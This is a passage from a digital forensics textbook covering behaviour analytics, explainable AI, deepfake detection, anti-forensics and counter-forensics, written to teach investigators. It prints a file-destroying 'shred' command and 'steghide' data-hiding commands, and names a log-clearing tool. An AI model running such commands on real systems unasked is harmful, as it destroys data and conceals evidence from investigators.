The process starts by creating a model of normal behavior, called a behavioral baseline. An unsupervised learning model observes the "normal" activity for every user and device on a network over a period of time (e.g., 30 days). This baseline records typical login times and locations, servers and files accessed, amount of data transferred, and types of network communication used [180].

Once this baseline of normal behavior is created, the system works continuously. It marks any major changes from the normal baseline as possible security incidents. Examples include:

- A user account that normally works 9-to-5 from a US IP address suddenly logs in at 3 AM from an IP address in Eastern Europe.
- A developer's computer, which usually only connects to internal company servers, suddenly connects to an unknown server on the internet.
- A user in the finance department, who normally accesses a few dozen files a day, suddenly tries to access and download thousands of files from the human resources folder.

Algorithmic Breakdown: How a UEBA System Flags an Anomaly To make this process clear, here is a simplified description of how the system marks a suspicious event:

(1) **Data Collection:** The system continuously collects logs related to a user, "Alice." This includes authentication logs, VPN logs, and file server logs.

(2) **Extracting Key Information:** For each event, the system pulls out key information, such as 'timestamp', 'source_ip_address', 'resource_accessed', 'data_volume_transferred', and 'action_type' (e.g., read, write, delete).

(3) **Creating a Normal Behavior Model:** Over a 30-day learning period, an unsupervised model analyzes thousands of Alice's events and builds a statistical model of her normal behavior. This "normal" model might

define her typical working hours as 8am-6pm, her IP address as belonging to her office or home, and her daily data use as less than 100MB.

(4) **Checking New Events:** A new event happens: Alice's account is used to log in at 2 AM from a new IP address, and it is used to download 5 GB of data from a research server.

(5) **Calculating the Anomaly Score:** The model calculates how different this new event is from Alice's "normal" behavior model. Because the 'timestamp', 'source_ip', and 'data_volume' are all very unusual, the score is very high.

(6) **Alerting:** The score is higher than a set risk level, so the system creates a high-priority alert. A security analyst is immediately notified to investigate a possible stolen account or an insider threat.

23.3 Verifying AI Findings and Ethical Guardrails

The power of AI in forensics comes with great responsibility. To use these tools well and responsibly, investigators must understand their limits and be ready to explain how they were used in court.

23.3.1 The "Black Box" Problem and Explainable AI (XAI)

A major challenge for using AI evidence in court is the *"black box" problem*. This means that many complex AI models, especially a type called deep neural networks, make decisions in ways that are difficult, or even impossible, for humans to understand. Why did the model decide that *this specific* file was malware? Why did it label *this particular* image as suspicious?

This lack of clarity is a problem for legal standards like the Daubert Standard in the U.S., which is a rule for scientific evidence in court. This standard requires that expert information be based on methods that can be tested and understood. If an expert cannot explain *how* their tool made a decision, the evidence might not be allowed in court.

The field of **Explainable AI (XAI)** works to solve this problem [10]. XAI includes techniques designed to make AI models more clear and easy to understand. Methods like LIME and SHAP can analyze a model's decision and show which specific pieces of information had the biggest influence on the result. For example, an XAI-enhanced malware detector would not just say, "This file is malware." It would provide an explanation: "I am 85% sure this is malware because it uses code associated with recording keystrokes ('GetAsyncKeyState'), it has an unusual data structure that suggests the file is hidden or compressed, and it tries to connect to a web address known to be used by criminals." This level of detail provides the clarity needed for an expert to explain it in court.

23.3.2 Model Bias and Forensic Integrity

An AI model is only as good as the data used to train it. If the training data is wrong, incomplete, or contains human biases, the model's results will also be wrong or biased. This is a serious risk to the reliability of forensic work.

A well-known example is bias in facial recognition systems. Early models trained mostly on images of white men had much higher error rates when identifying women and people of color [25]. If a biased tool like this were used in an investigation, it could have a much higher rate of false positives for certain groups of people, which could lead to falsely accusing innocent people.

The forensic examiner has a professional and ethical duty to carefully check any AI tool before using it. They must ask important questions:

- On what data was this model trained? Does the training data match the situation where I am using the tool?
- What are the known accuracy and error rates of the model?
- Does the model work better or worse for certain groups of people or types of data?
- Has the tool been tested and approved by an independent, neutral organization?

Not doing this careful checking is a failure of the forensic process itself.

23.3.3 Adversarial Attacks and Evidence Integrity

A final, important thing to consider is the threat of *adversarial attacks*. In these attacks, a criminal purposely creates input data designed to trick an AI model. This directly threatens the reliability of digital evidence. This is a constant competition between AI security researchers and cybercriminals [84].

There are many practical examples of this in forensics:

- **Malware Evasion:** A malware creator can make small changes to a virus's code, for example, by adding harmless "junk" code. These changes do not affect the malware's harmful function, but they can change its digital fingerprint just enough to avoid being detected by an AI antivirus tool that was not trained on this specific version.
- **Image Manipulation:** An attacker could add a small, computer-generated pattern of dots or lines to an image. This pattern might not be seen by humans, but it could be specifically designed to trick an AI into identifying the image incorrectly, such as identifying a stop sign as a speed limit sign.

The existence of adversarial attacks shows an important point: AI tools should never be used alone. Their results must always have human review and must be confirmed by other evidence. A warning from an AI is not final proof; it is a lead that requires expert human investigation.

Conclusion

This chapter explained how AI helps in digital investigations. We learned that AI tools can automatically sort evidence and find hidden patterns in text, images, and network logs. An investigator uses this knowledge to quickly find important leads in cases with huge amounts of data. This helps them focus on analyzing evidence instead of searching for it. In the next chapter, we will build on these skills to analyze evidence from cloud-based systems.

Acronyms and Terminology

Adversarial Attacks The practice of purposely creating input data, such as a slightly modified image or file, with the specific goal of tricking an AI model into making an incorrect decision.

AI (Artificial Intelligence) A field of computer science focused on creating systems that can perform tasks that normally require human intelligence. In forensics, it is used to automate the analysis of massive datasets to find evidence more quickly.

Anomaly Detection The process of identifying items, events, or observations that do not conform to an expected pattern or other items in a dataset. It is used to find suspicious activities in logs.

Behavioral Baseline A model of what is considered "normal" activity for a specific user or system on a network. It is created by an AI observing behavior over time and is used as a reference to detect anomalies.

Black Box Problem A challenge where the internal decision-making process of a complex AI model is not understandable to humans, making it difficult to explain or trust its results in a legal setting.

Classification An AI task where the goal is to assign a pre-defined category or label to a piece of data, such as categorizing an email as "spam" or a file as "malware."

Computer Vision A field of AI that trains computers to interpret and understand information from digital images and videos, used for tasks like image categorization and facial recognition.

Concept Searching An advanced search technique, powered by NLP, that finds documents related to a general idea or concept, even if the specific keywords are not present in the text.

CSAM (Child Sexual Abuse Material) An acronym for illegal content depicting the sexual abuse of children. AI models are used to automatically detect and flag this material.

Daubert Standard A rule of evidence in U.S. federal court regarding the admissibility of expert witness testimony, which requires scientific methods to be testable, peer-reviewed, and understandable.

Deepfakes Highly realistic but synthetic (fake) images or videos created using AI, which pose a challenge for evidence integrity.

Labels In supervised learning, these are the pre-defined "correct answers" that are attached to training data, which the AI model learns to predict.

Malware Software intentionally designed to cause damage to a computer, server, client, or computer network. AI is used to classify new files to determine if they are malware.

ML (Machine Learning) A subset of AI where systems automatically learn and improve from experience (data) without being explicitly programmed for every task.

Model Bias A flaw in an AI system where it produces prejudiced or unfair results due to biased assumptions made during its training process, often because the training data was not representative.

NER (Named Entity Recognition) An AI technique that automatically scans text to identify and extract key pieces of information, such as names of people, organizations, locations, dates, and monetary values.

NLP (Natural Language Processing) A field of AI focused on enabling computers to understand, interpret, and generate human language, used to analyze textual evidence like emails and documents.

Phishing A type of cyberattack where criminals attempt to trick individuals into revealing sensitive information, such as passwords or credit card numbers, often through deceptive emails.

SPEs (Special Purpose Entities) A complex financial instrument. In the context of the chapter's Enron case study, it is an example of a key theme that AI-powered topic modeling could automatically uncover from a large set of documents.

Supervised Learning A type of machine learning where an AI model is trained on a dataset that is already labeled with the correct outcomes. The model learns to map input data to the correct output label.

Topic Modeling An unsupervised learning technique used to scan a large volume of text documents to discover the main abstract subjects or themes that occur in the collection.

UEBA / UBA (User and Entity/User Behavior Analytics) Systems that use machine learning to model the typical behavior of users and devices on a network, and then detect deviations from this normal baseline to identify potential threats.

Unsupervised Learning A type of machine learning where the AI model is given data without any explicit labels or instructions and must find hidden patterns, structures, or anomalies on its own.

XAI (Explainable AI) A field of AI research and development that aims to create systems whose decisions can be easily understood and explained by humans, addressing the "black box" problem.

Chapter 24

Deepfakes, Synthetic Media, and Counter-Forensics

Introduction

An investigator's job is to find the truth in digital evidence. However, criminals can now use new technology to create very realistic fake evidence or to hide real evidence. This chapter teaches you how to identify and respond to these modern threats. We will cover three main topics: synthetic media like deepfakes, anti-forensics for hiding data, and counter-forensics for attacking the investigation itself.

24.1 The Challenge of Fabricated Evidence

The main challenge to proving evidence is true today comes from **synthetic media**. Synthetic media is any content, such as an image, audio, video, or text, that is created or heavily changed by Artificial Intelligence (AI). The challenge for forensics is clear and growing. It is now a fundamental part of digital forensics to be able to tell the difference between real and synthetic content. This is not just a possible threat. It has already been used to change public opinion and affect elections.

A well-known example happened during the 2024 New Hampshire presidential primary election. Automated phone calls, called robocalls, were sent to likely Democratic voters. These calls used an AI-generated copy of President Joe Biden's voice, which is a type of *deepfake*. A deepfake is a specific type of synthetic media where AI is used to replace a person's likeness in a video or audio recording. The message wrongly told people not to vote in the primary election. This was an attempt to stop people from voting. This event is a

strong example of how people can use synthetic media to spread false information that has a big impact. Because of this, the ability to detect these fakes is very important for national security and police work [14].

24.1.1 Generative AI and Deepfake Creation

The technology that creates the most realistic synthetic media is a type of machine learning model called a **Generative Adversarial Network (GAN)**. Ian Goodfellow and his team first presented GANs in 2014. They were a major advance in creating artificial data [85].

A GAN works like a competition between two *neural networks*. A neural network is a computer system modeled on the human brain.

- **The Generator:** This network's job is to create new, fake data that looks just like real data. It begins by creating random patterns and slowly learns to turn them into believable fakes, like realistic human faces.
- **The Discriminator:** This network's job is to be a detective. It learns from a set of real data. Its task is to decide if the data it sees is real or fake. It looks at a mix of real data and the fake data from the Generator.

Algorithmic Breakdown: The GAN Training Cycle The training process is a competition, which is why GANs work so well. The two networks compete against each other, and this forces both to get better.

(1) The Generator creates a group of fake items (for example, images of faces).

(2) The Discriminator receives a mix of real items from its training data and the new fake items from the Generator.

(3) The Discriminator tries to label each item as "real" or "fake". The system then checks its answers against the correct labels.

(4) The system uses the Discriminator's results to improve both networks. The Discriminator learns to become better at finding fakes. The Generator learns to become better at tricking the Discriminator.

(5) This process repeats, often millions of times. Finally, the system finds a balance. The Generator's fakes become so good that the Discriminator can only guess correctly about half the time (50% accuracy). When this happens, the Generator can create very realistic synthetic media.

Common Deepfake Variants The word "deepfake" usually means AI-changed video or audio, but the techniques can be used for more. The main types include:

- **Video:** Face swapping is the most common type. It puts one person's face on another person's body. Lip-syncing changes a person's mouth movements to match new audio. Puppet-mastering copies the facial expressions and head movements from one person to another person in a video.

- **Audio:** Voice cloning, also called voice conversion, is when an AI model creates speech that sounds like a specific person. New systems can do this very accurately with only a few seconds of a person's real voice. They can copy the rhythm, tone, and changes in pitch of a person's speech.

24.1.2 Forensic Detection of Synthetic Media

As the AI models that create fakes get better, the methods to detect them must also improve. We must move from simple visual checks to advanced computer analysis.

Visual and Audible Artifact Analysis Early or low-quality deepfakes often have clear mistakes. A trained person can often see these mistakes. For video, these mistakes include:

- Unnatural blinking patterns or a complete lack of blinking.
- Missing the small, quick facial movements called *micro-expressions*. These expressions are part of real human emotions.
- Lip movements that do not match the audio.
- Lighting, shadows, or reflections on the face that do not match the rest of the video.
- Blurry or messy pixels around the edge of the fake face, where it joins the real head and neck.

For fake audio, the signs of a fake can include a slight metallic or robotic sound, an unnatural rhythm of speech, strange emotional tone, or background noise that does not fit the situation.

AI-Based Detection and Authenticity Using human analysis is not efficient or reliable for high-quality fakes. Instead, forensic experts are using AI tools more and more. These tools can find the small statistical clues left by the creation process. These AI models are trained to find problems that humans cannot see.

One advanced method is **Photo-Response Inconsistency (PRI)** analysis. This method checks for small differences in how pixels behave in an image. These differences, or *anomalies*, can show that one part of an image (like a face) was created separately from the rest of the picture [102]. Another method is to look for signs of re-compression. A combined or changed image often must be saved again. This can create different levels of JPEG compression in different parts of the image. While not a deepfake detector itself, simple metadata extraction can be an initial indicator of manipulation.

Practical Demo: A Simple Check for JPEG Re-compression, This example Python code uses the Pillow library to get basic metadata. An image file's *metadata* is data about the file itself, such as when it was created. If an image was made by combining two JPEGs with different quality settings, this type of analysis might show the different origins.

```
import PIL.Image
try:
    img = PIL.Image.open('image.jpg')
    # The 'quality' tag is not standard, but is often
    # present in images saved by certain software.
    # Its absence is not proof of anything.
    print(f"Estimated JPEG Quality: {img.info.get('quality', 'N/A')}")
except FileNotFoundError:
    print("Error: image.jpg not found.")
```

24.1.3 Proactive Standards for Media Integrity

Because detection is difficult, there is another effort to create a system of trust for digital content. This system focuses on *provenance*, which is the documented history of a file.

The C2PA Standard: The **Coalition for Content Provenance and Authenticity (C2PA)** is a group of companies like Adobe, Microsoft, and Intel. They are working together to create a free technical standard for "content credentials" [49]. The C2PA system uses cryptography to attach a special list of metadata to a media file. This list is like a digital "nutrition label" that shows if the file has been changed. It contains information about:

- Who (or what device) created the content.
- When and where it was created.
- A history of all changes made to it, including changes made by AI.

This system does not stop people from making fakes. Instead, it gives creators a way to prove that their own media is real.

Controlled Capture and Digital Watermarking Similar to C2PA, there are "controlled capture" devices, like cameras from the company Truepic. These cameras are made to digitally sign and hash a media file when it is created. This process creates a secure record of the image's origin that cannot be disputed, before anyone has a chance to change it [215]. Another method is **robust digital watermarking**. This technique puts an invisible signal, called a *watermark*, directly into the media's data. This signal is strong enough to remain even after the file is compressed, cropped, or edited. This allows an expert to later check the media's origin or confirm it has not been changed.

24.2 Concealing and Destroying Evidence

Synthetic media creates fake evidence. In contrast, anti-forensics tries to destroy real evidence. **Anti-forensics** includes any action that someone takes to stop a forensic investigation. The main goals are to destroy, hide, or change digital information. It is important to know the difference between anti-forensics and counter-forensics. Anti-forensics attacks the *evidence*. Counter-forensics, which we will discuss later, attacks the *investigator or their tools*.

24.2.1 Data Destruction and Sanitization

The most direct anti-forensic method is to make data impossible to recover. People do this using *data wiping*. Data wiping is a process that is much more permanent than simply deleting a file.

File Wiping vs. Disk Wiping

- **File Wiping (Shredding):** This technique focuses on the exact storage locations, called *disk clusters*, that a specific file uses. The user tells the operating system to write over these specific locations with random data or a set pattern (like all zeros). This action destroys the file. However, it does not affect any other data, including data in unused parts of the disk.
- **Disk Wiping (Sanitization):** This is a much more complete method. It writes over every single location on a storage device that can be accessed. This process removes all active files. It also removes leftover data in unused spaces, such as *unallocated space* and *slack space*. Unallocated space is disk space not currently used by any active file. Slack space is the unused space at the end of a file's last disk cluster. This method can also erase data in areas reserved for the operating system.

Investigative Indicators When wiping is successful, the data cannot be recovered. However, the wiping process itself often leaves behind clues. An investigator might find:

- Wiping software (like 'DBAN', 'Eraser', or 'CCleaner') installed on the computer. An investigator might also find evidence that this software was used, such as in system logs or in files like Prefetch or Shimcache.
- Large, connected areas of the disk that contain only one repeating character (like all '0x00' or '0xFF'). Another sign is a simple random-looking pattern. These patterns are not normal for disk use. NIST Special Publication 800-88 gives detailed information on methods for cleaning media and how well they work [116].

Practical Demo: The 'shred' Command, Linux and macOS computers have a command-line tool called 'shred' that securely deletes files.

```
# Overwrites the file 3 times with random data (-n 3),
# adds a final overwrite of zeros to hide shredding (-z),
# shows progress (-v), and deletes/truncates the file (-u).
shred -n 3 -zvu sensitive_report.docx
```

Finding out that ‘shred‘ was recently used on a computer can be a strong sign that someone intended to destroy evidence.

24.2.2 Trail Obfuscation and Metadata Manipulation

If destroying data is too obvious, a person might try to hide their actions. They can do this by changing metadata, especially timestamps.

Timestomping **Timestomping** is the act of purposely changing a file's metadata timestamps. These timestamps show when a file was Modified, Accessed, Created, and Born (the MACB times). The goal is to confuse an investigator who is analyzing the timeline of events. Timestomping can make a file look older or newer than it really is. For example, malware creators might change the timestamps on a malicious file to match the timestamps of normal system files. This helps the malware hide.

Algorithmic Breakdown: Detecting Timestomping To detect timestomping, an investigator must compare the file system metadata with other time-based evidence [31].

(1) Get all important timestamps from the file system. For example, on an NTFS system, this information is in the *Master File Table (MFT)*. The MFT is a database that stores information about every file and directory. Record both the standard information (‘$STANDARD_INFO‘) and filename (‘$FILE_NAME‘) timestamps.

(2) Compare these timestamps with other sources of time-based data. Examples include Windows Event Logs, Prefetch file creation times, web browser history, and UserAssist entries.

(3) Look for logical problems or things that do not fit. A common example is when a file's creation date is *after* its last modification date, which is impossible. Another warning sign is when a program file has a compile time that does not match any known release date for that software. Or, the compile time might be exactly the same as an unrelated system file, which suggests it was copied.

Log Manipulation A more direct way to hide actions is to edit or delete system and application logs. *Logs* are files that record events that happen on a computer. An attacker might delete certain lines from a web server's log to hide their IP address. They might also use system tools (like ‘wevtutil.exe‘ on

Windows) to delete an entire log, like the Security Event Log. To detect this, an investigator can look for missing entries in a sequence, find evidence of log-clearing tools, or find differences by comparing logs from several systems (like a firewall and a web server).

24.2.3 Data Hiding with Encryption and Steganography

The last type of anti-forensics is hiding data. This can be done using strong encryption or by secretly hiding it inside other files.

The Encryption Challenge If strong encryption is used correctly, it is almost impossible to break.

- **Full-Disk Encryption (FDE):** Tools like Microsoft's BitLocker and Apple's FileVault encrypt the entire disk. This is called *Full-Disk Encryption (FDE)*. If the computer is turned off correctly, it is practically impossible to access the data without the correct password, a recovery key, or the physical TPM security chip.
- **File/Container Encryption:** Tools like VeraCrypt or the encryption option in 7-Zip let a user create encrypted files or folders. These are often called *containers* or archives. On the computer's file system, they look like a single file filled with random data.

For an investigator, the goal is not to break the encryption, but to find the key. Ways to find the key include capturing it from the computer's live memory (RAM) before the computer is shut down. A "cold boot attack" is one example of this method [97]. Another way is to find passwords or recovery keys that were not stored safely, for example in a person's cloud account, email, or written notes.

The Steganography Challenge: Steganography is the method of hiding data inside another, normal-looking file. This normal file is called the "cover" file (for example, an image, audio file, or video). The cover file is changed in a very small way to include the hidden message. Encryption creates a file that is clearly unreadable. In contrast, the goal of steganography is to hide the fact that a secret message even exists.

A famous real-world example is the Russian spy group called "The Illegals Program." The FBI discovered this group in 2010. The spies used special steganography software to hide encrypted text messages inside images. They then posted these images on public websites that did not look suspicious. This allowed them to secretly receive their instructions [71].

The process of detecting steganography is called **steganalysis**. It uses statistical analysis to find small changes that are different from the normal pattern of a cover file. For example, an analyst can check the *Least Significant Bits (LSB)* of the color data for each pixel in an image. The LSB is a common place to hide data.

Practical Demo: Using 'steghide', 'steghide' is a well-known command-line tool for steganography on Linux.

```
# Embed the file secret.txt into the cover image image.jpg
# A passphrase will be required.
steghide embed -cf image.jpg -ef secret.txt

# Extract the hidden data from the stego-image
steghide extract -sf image.jpg
```

24.3 Attacking the Forensic Process

Anti-forensics attacks the evidence. In contrast, **counter-forensics** is a more aggressive method. It attacks, tricks, or harms the forensic tools, methods, or even the forensic expert. It is an active attempt to damage the investigation itself.

24.3.1 Evasion of Analysis Environments

People who create malware know that experts will analyze it in a safe, controlled computer environment. For this reason, malware is often designed to check if it is running inside a *virtual machine (VM)* or an automated analysis "sandbox". A VM is a software-based computer, and a sandbox is an isolated environment for safely running programs.

- **Detection Techniques:** Malware can check for hardware details that are common in virtual systems (like virtual graphics cards from VMware or VirtualBox). It can also look for specific files or drivers (like 'VBoxGuestAdditions.sys'), check for certain registry keys, or use timing tests to check how fast it is running. The speed can be different in a virtual environment [115].
- **Evasive Action:** If the malware detects a sandbox, it can use several tricks. It might shut down immediately. It might not run its harmful code, and instead act like a harmless program. Or, it might do nothing for a long time to wait until the automated analysis time is over.

24.3.2 Attacking Forensic Tools

A very advanced type of counter-forensics is to directly attack the software that investigators use.

Exploiting Parser Vulnerabilities The biggest threat in this area is using software weaknesses in forensic tools. All major forensic software (like EnCase, FTK, or Autopsy) uses complex software components called **parsers**. A parser's

job is to read and understand hundreds of different file formats (like NTFS, HFS+, JPEG, PDF, or DOCX). Because parsers are so complex, they create many opportunities for an attack.

A skilled attacker can create a specially damaged file, sometimes called a "poison file." This file is designed to use a weakness (like a *buffer overflow* or an *integer overflow*) in a specific tool's parser. A buffer overflow is a common software bug that occurs when a program tries to write data beyond the boundary of a memory buffer. An integer overflow occurs when a program tries to store a number that is too large for the memory space assigned to it. The goals of this type of attack can be more or less serious [79]:

- **Crash the tool:** The simplest goal is to make the forensic software stop working. This prevents or delays the analysis.
- **Denial of analysis:** A more advanced goal is to create a file that the tool cannot read. This effectively hides the file's contents from the investigator.
- **Remote code execution:** The most serious result is using a weakness to take control of the expert's computer. This could allow the attacker to change evidence, steal case information, or attack the network.

Data Obfuscation to Confuse Tools This method involves hiding data in unusual ways that automated tools are not designed to find. This is different from normal encryption. For example, an attacker could hide data in special parts of a hard drive, like the *Host Protected Area (HPA)* or the *Device Configuration Overlay (DCO)*. These are areas of a hard drive that are normally not visible to the user or operating system. Other examples are changing file headers so file recovery tools cannot recognize them, or using unique, custom ways to encode data to hide its real content.

24.3.3 Misdirection and Data Forgery

The last counter-forensic method is a mental trick: placing fake evidence to trick the investigator.

Planting False Flags This means an attacker purposely creates and leaves behind misleading clues. The goal is to send the investigation in the wrong direction or to make it seem like someone else was responsible. In cyber attacks by countries, it is common for attackers to plant "false flags." This means they copy the methods and tools of a different hacking group. On a smaller scale, a person inside a company might add fake log entries that point to an outside IP address. They might also put files that look bad on a coworker's computer, or use tools and language that another person would use to make them look guilty.

The "Forger's Dilemma" It is possible to plant false clues, but it is extremely hard to do it perfectly. This problem is called the **"Forger's Dilemma"**.

A forger must create fake evidence that is logical on its own. But it must also be logical when compared with the thousands of other pieces of data on a running computer system. This is a very big job. A single mistake can reveal the fake. For example, a timestamp might not match other data, a log entry might conflict with a file system record, or a piece of evidence might look "too perfect." Any of these mistakes can show that the evidence is fake.

This fact highlights a key rule for today's digital investigator: always be professionally skeptical. This means you should question everything. You must carefully check every piece of evidence against other data sources. We can no longer assume that evidence is truthful.

Conclusion

In this chapter, we learned about three major threats to an investigation: synthetic media that creates fake evidence, anti-forensics that hides or destroys data, and counter-forensics that attacks the investigation itself. An investigator must understand these techniques to question evidence, look for signs of tampering, and protect their tools from attack. In the next chapter, we will apply these skills to analyze a complex case where these methods were used.

Acronyms and Terminology

AI (Artificial Intelligence) A field of computer science that builds smart machines capable of performing tasks that typically require human intelligence, such as creating synthetic media.

Anti-forensics Any technique used by a subject to attack digital evidence with the goal of hiding, altering, or destroying it to obstruct a forensic investigation.

Buffer Overflow A software vulnerability that occurs when a program attempts to write data outside the allocated memory space, which can be exploited to crash a tool or execute malicious code.

C2PA (Coalition for Content Provenance and Authenticity) An industry group creating a technical standard for attaching a secure history (provenance) to media files, helping to verify their authenticity.

Counter-forensics An aggressive strategy that directly attacks, deceives, or disables the forensic investigator, their tools, or their methods.

Data Wiping The process of securely destroying data on a storage device by overwriting it with new data, making the original information unrecoverable.

DCO (Device Configuration Overlay) A hidden area on a hard drive, typically set by the manufacturer, that is not visible to the operating system and can be used to hide data.

Deepfake A type of synthetic media created with AI where a person's likeness in a video or audio recording is replaced with someone else's.

Digital Watermarking The process of embedding an invisible, robust signal into a media file to prove its origin or integrity, even after compression or editing.

Discriminator In a GAN, the neural network that acts as a detective, learning to differentiate between real data and the fake data created by the Generator.

False Flags Misleading clues intentionally planted by an attacker to misdirect an investigation or incorrectly attribute their actions to another party.

FDE (Full-Disk Encryption) A method of encrypting all data on a storage device, making the entire contents inaccessible without the correct decryption key or password.

Forger's Dilemma The principle that it is extremely difficult to create a piece of fake evidence that is perfectly consistent with all other existing data on a system.

GAN (Generative Adversarial Network) An AI model that uses two competing neural networks (a Generator and a Discriminator) to produce highly realistic, artificial content.

Generator In a GAN, the neural network responsible for creating new, synthetic data intended to be indistinguishable from real data.

HPA (Host Protected Area) A hidden area on a hard drive, inaccessible to the operating system, which can be used to conceal data from standard forensic examination.

LSB (Least Significant Bits) The lowest-value bits in a byte of data. Modifying the LSB in image pixels is a common steganography technique because it causes minimal visible change.

Logs System or application files that chronologically record events, actions, or messages, which are often a target for manipulation or deletion in anti-forensics.

MACB Times A set of key metadata timestamps associated with a file, indicating when it was last Modified, Accessed, Created, and (on some systems) Born (first created).

Master File Table (MFT) A core database in the NTFS file system that contains metadata records for every file and directory on the volume.

Metadata Data that provides information about other data. In forensics, this commonly refers to file properties like creation dates, authors, and device information.

Neural Network A computer system designed to work like the human brain, used as the building block for advanced AI models like GANs.

Parser A software component within a forensic tool designed to interpret the structure and content of a specific file format (e.g., JPEG, PDF, NTFS).

PRI (Photo-Response Inconsistency) An advanced forensic technique for detecting image manipulation by analyzing for anomalies in the way different parts of an image's pixels are structured.

Provenance The documented history of a file, chronicling its origin, creation, and any modifications it has undergone.

Sandbox An isolated and secure computing environment used by investigators to safely execute and analyze potentially malicious software without risk to their own systems.

Slack Space The unused space that exists between the end of a file's content and the end of the last disk cluster allocated to that file, which can contain remnant data.

Steganalysis The practice of detecting steganography; the analysis of a file to discover if it contains hidden data.

Steganography The technique of concealing a secret message or file within an ordinary, non-secret file (the "cover" file) to hide its very existence.

Synthetic Media Any media content (image, video, audio, or text) that has been artificially created or significantly altered by AI algorithms.

Timestomping The anti-forensic act of deliberately modifying a file's metadata timestamps (MACB times) to mislead an investigator about the timeline of events.

Unallocated Space The area on a storage device that is not currently allocated to any active file but may contain data from previously deleted files.

VM (Virtual Machine) A software-based emulation of a computer system, often used by malware to detect if it is being analyzed in a controlled environment.

Part 7

Investigator Reporting, Testimony & Growth

This part focuses on the final, critical steps of an investigation and the long-term career of an investigator. It explains how to change technical results into clear reports and strong court testimony that can be easily defended. The part ends with an important discussion about managing the special stresses of this job and planning for ongoing professional learning.

Chapter 25

Applying Critical Thinking and Reporting Findings

Introduction

Finding evidence is only the first step in a digital investigation. To be successful, you must also think carefully about what the evidence means and explain your conclusions to others. This chapter teaches two essential skills: how to think critically about digital evidence and how to create a professional report. We will discuss how to use the scientific method, avoid common thinking mistakes, and structure a formal forensic report that can be used in court.

25.1 Critical Thinking and Digital Evidence

25.1.1 Introduction to the Investigative Mindset

Digital forensics is more than just using software tools on a storage device. It is a field of study based on inquiry. The foundation of this field is the investigative mindset. This is a way of thinking built on three main ideas: objectivity, professional skepticism, and methodical patience. **Objectivity** means the examiner must approach the evidence without any existing ideas about what happened. The data itself should lead the investigation. **Professional skepticism** is the practice of questioning every assumption, including your own. It means you must find proof for every conclusion. Finally, **methodical patience** means working carefully to make sure no steps are missed. Rushing to a conclusion can cause you to miss important details. The goal is to follow the data, not to prove a theory you already have about the case.

Real-World Story: Investigators Mindset, The 2004 Madrid train bombings show the terrible results that can happen when investigators forget this mindset. After the bombings, the Federal Bureau of Investigation (FBI)

announced a "100 percent match" of a *latent fingerprint*, which is a hidden fingerprint left by sweat and oil on a surface. The fingerprint was found on a bag of detonators and was matched to an American lawyer, Brandon Mayfield. This match was incorrect, even though several experienced FBI examiners confirmed it. The Spanish National Police later matched the print to a person from Algeria. A later review by the Office of the Inspector General found that the examiners made a mistake because of strong confirmation bias. After they made the first, wrong match, they unconsciously ignored differences in the fingerprints. They focused only on parts that supported their first conclusion [166]. This case is a serious reminder that even the most experienced experts can make thinking errors. It shows that objectivity is extremely important.

25.1.2 The Scientific Method in Digital Forensics

To protect against bias and mistakes in logic, digital forensics uses the principles of the scientific method. This method gives a structured and defensible way to get from raw data to a reliable conclusion.

Applying the Hypothesis-Driven Approach

The main part of the scientific method is creating and testing a *hypothesis*. A hypothesis is a proposed explanation for an observation. In digital forensics, this process usually has four stages:

(1) **Observation:** The examiner finds interesting digital items, called *artifacts*. Examples include a timestamp, a log entry, a piece of a file, or a registry key.

(2) **Hypothesis Formulation:** Based on the observation, the examiner creates one or more possible explanations (hypotheses) for why the artifact exists. For example, seeing a file in the Recycle Bin could lead to the hypothesis: "The user intentionally deleted this file."

(3) **Testing:** The examiner actively looks for other data that either supports or disproves the hypothesis. To test this "deletion" hypothesis, the examiner could look for related entries in the filesystem's journal, user interface logs, or evidence of anti-forensics tools. *Anti-forensics tools* are programs designed to hide or destroy evidence. It is very important for the examiner to create and test several different hypotheses (e.g., "An automatic cleanup program moved the file to the Recycle Bin," or "Malware deleted the file"). This approach helps prevent the narrow focus caused by confirmation bias.

(4) **Conclusion:** Based on all the evidence, the examiner decides to accept, reject, or change the hypotheses. The strongest conclusions occur when one hypothesis is supported by several separate pieces of evidence, and other hypotheses have been proven wrong.

The Principle of Falsifiability

A key principle of scientific study is *falsifiability*, an idea from the philosopher Karl Popper [173]. A hypothesis is scientific only if it is possible to prove it false. In forensics, this means testing a hypothesis is not about choosing only the evidence that proves it. Instead, you must actively search for evidence that would disprove it. For example, if the hypothesis is, "The suspect was the only person with access to the computer when the event happened," the examiner must search thoroughly for evidence of remote access, logins from other user accounts, or physical access by someone else. If the examiner finds no such contradicting evidence after a complete search, the hypothesis becomes much stronger and more credible.

25.1.3 Recognizing Cognitive Biases

An examiner's mind is their most powerful tool, but it is also their biggest weakness. *Cognitive biases* are unconscious mental shortcuts that our brains use. These shortcuts, also called *heuristics*, are helpful in daily life. However, they can seriously harm an objective investigation [62]. Biases are different from *logical fallacies*, which are errors in how an argument is structured. Biases are errors in the thinking process itself.

Confirmation Bias is the tendency to look for, understand, and remember information that supports what you already believe. This is extremely dangerous in a digital investigation. An investigator who already thinks a suspect is guilty might stop analyzing after finding the first piece of incriminating evidence (like a single keyword search result). This can cause them to miss *exculpatory evidence*, which is evidence that could prove the suspect is innocent or show that someone else committed the crime.

Anchoring Bias is the tendency to depend too much on the first piece of information you receive (the "anchor") when making decisions. For example, a police officer might tell an investigator, "We are certain the suspect used a USB drive to steal the files." The investigator might "anchor" to this idea. This bias can cause the investigator to focus too much on USB-related evidence. As a result, they might miss important evidence of *network-based exfiltration*, which is the unauthorized transfer of data from a computer over a network.

Availability Heuristic is a mental shortcut where you overestimate the chance of an event happening just because you can easily remember a similar event. This often happens if the memory is recent or very dramatic. An examiner who recently worked on many ransomware cases might see encrypted files and quickly think it is another ransomware attack. This could cause them to ignore other possibilities, such as the user encrypting the files themselves, or the data being corrupted.

25.1.4 Avoiding Logical Fallacies in Reasoning

Biases affect how you think, but logical fallacies ruin the arguments you build from your thoughts. An examiner's final report must present a logical and correct argument.

Correlation vs. Causation (*Post Hoc Ergo Propter Hoc*) This fallacy's name is Latin for "after this, therefore because of this." It is the wrong assumption that if Event B happened after Event A, then Event A must have caused Event B. For example, a computer might crash after a user installs new software. This connection (a *correlation*) is suspicious and should be investigated. However, a correlation is not proof that the software installation (*causation*) made the computer crash. The crash could be from a different cause, like a hardware failure, an automatic operating system update, or a problem that already existed. You can only prove causation by analyzing crash logs, memory dumps, and system event data. This evidence must show a direct technical link between the two events.

